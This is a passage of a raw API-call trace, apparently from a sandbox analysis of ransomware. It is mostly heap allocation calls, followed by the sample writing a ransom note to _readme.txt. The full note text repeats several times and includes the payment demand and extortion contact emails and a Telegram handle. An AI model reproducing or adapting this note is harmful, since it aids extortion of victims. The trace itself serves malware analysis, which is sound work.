hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.135] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.135] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.135] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.135] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.135] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.135] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.135] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.135] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.135] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.135] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.136] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.136] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.136] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.136] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.136] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0059.136] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.136] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0059.136] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.136] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.136] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.136] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.136] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.136] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.136] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.136] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc2e) returned 0x3068dd8 [0059.136] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.136] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0059.136] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.136] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.136] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0059.136] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0059.136] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.136] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.136] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0059.136] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0059.136] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.136] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.136] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.136] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.136] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.136] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.136] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.137] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.137] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.137] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.137] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.137] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0059.137] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.137] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0059.137] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.137] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.137] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8230 [0059.137] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.137] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.137] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.137] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8230 [0059.137] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.137] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.137] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.137] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.137] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.137] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.137] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.137] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.137] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.137] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.137] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.137] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.137] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.137] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.137] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.137] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.137] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.137] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.138] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.138] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.138] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.138] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.138] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.138] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.138] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.138] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.138] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.138] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.138] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.138] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.138] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.138] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.138] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0059.138] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.138] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0059.138] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.138] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.138] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.138] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.138] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.138] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.138] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0059.138] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0059.138] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.138] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.138] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0059.138] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0059.138] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.138] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.139] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.139] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.139] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.139] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.139] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.139] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.139] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.139] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.139] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.139] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0059.139] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.139] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0059.139] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.139] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.139] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8230 [0059.139] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.139] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.139] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.139] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8230 [0059.139] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.139] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.139] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.139] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.139] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.139] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.139] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.139] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.139] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.139] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.139] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.139] PathFindFileNameW (pszPath="C:\\Boot\\el-GR\\") returned="el-GR\\" [0059.140] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0059.140] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.140] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0059.140] PathFindFileNameW (pszPath="") returned="" [0059.140] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75fd0000 [0059.140] GetProcAddress (hModule=0x75fd0000, lpProcName="SHGetFolderPathW") returned 0x76055708 [0059.140] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x306a418 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0059.140] FreeLibrary (hLibModule=0x75fd0000) returned 1 [0059.140] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.140] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0059.140] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.140] PathAppendW (in: pszPath="C:\\Boot\\el-GR\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\el-GR\\_readme.txt") returned 1 [0059.140] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.140] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.140] PathFileExistsW (pszPath="C:\\Boot\\el-GR\\_readme.txt") returned 0 [0059.141] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x7d00) returned 0x312a418 [0059.141] lstrcpyW (in: lpString1=0x312a418, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-WbgTMF1Jmw\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n111Asd3i74yih3gkd" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-WbgTMF1Jmw\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n111Asd3i74yih3gkd") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-WbgTMF1Jmw\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n111Asd3i74yih3gkd" [0059.141] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-WbgTMF1Jmw\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n111Asd3i74yih3gkd", lpString2="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-WbgTMF1Jmw\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n111Asd3i74yih3gkdKRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-WbgTMF1Jmw\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n111Asd3i74yih3gkdKRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e" [0059.141] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c9340 [0059.141] CreateFileW (lpFileName="C:\\Boot\\el-GR\\_readme.txt" (normalized: "c:\\boot\\el-gr\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c0 [0059.141] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x930) returned 0x3100c28 [0059.141] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x894) returned 0x3068dd8 [0059.141] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-WbgTMF1Jmw\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n111Asd3i74yih3gkdKRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e", cchWideChar=-1, lpMultiByteStr=0x3068dd8, cbMultiByte=2196, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-WbgTMF1Jmw\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n111Asd3i74yih3gkdKRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e", lpUsedDefaultChar=0x0) returned 1173 [0059.141] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x8a0) returned 0x3132120 [0059.142] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0059.142] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3100c28 | out: hHeap=0x670000) returned 1 [0059.142] lstrlenA (lpString="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-WbgTMF1Jmw\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n111Asd3i74yih3gkdKRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e") returned 1172 [0059.142] WriteFile (in: hFile=0x5c0, lpBuffer=0x3132120*, nNumberOfBytesToWrite=0x494, lpNumberOfBytesWritten=0x9aafb64, lpOverlapped=0x0 | out: lpBuffer=0x3132120*, lpNumberOfBytesWritten=0x9aafb64*=0x494, lpOverlapped=0x0) returned 1 [0059.142] CloseHandle (hObject=0x5c0) returned 1 [0059.143] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3132120 | out: hHeap=0x670000) returned 1 [0059.143] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c9340 | out: hHeap=0x670000) returned 1 [0059.143] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x312a418 | out: hHeap=0x670000) returned 1 [0059.143] HeapFree (in: 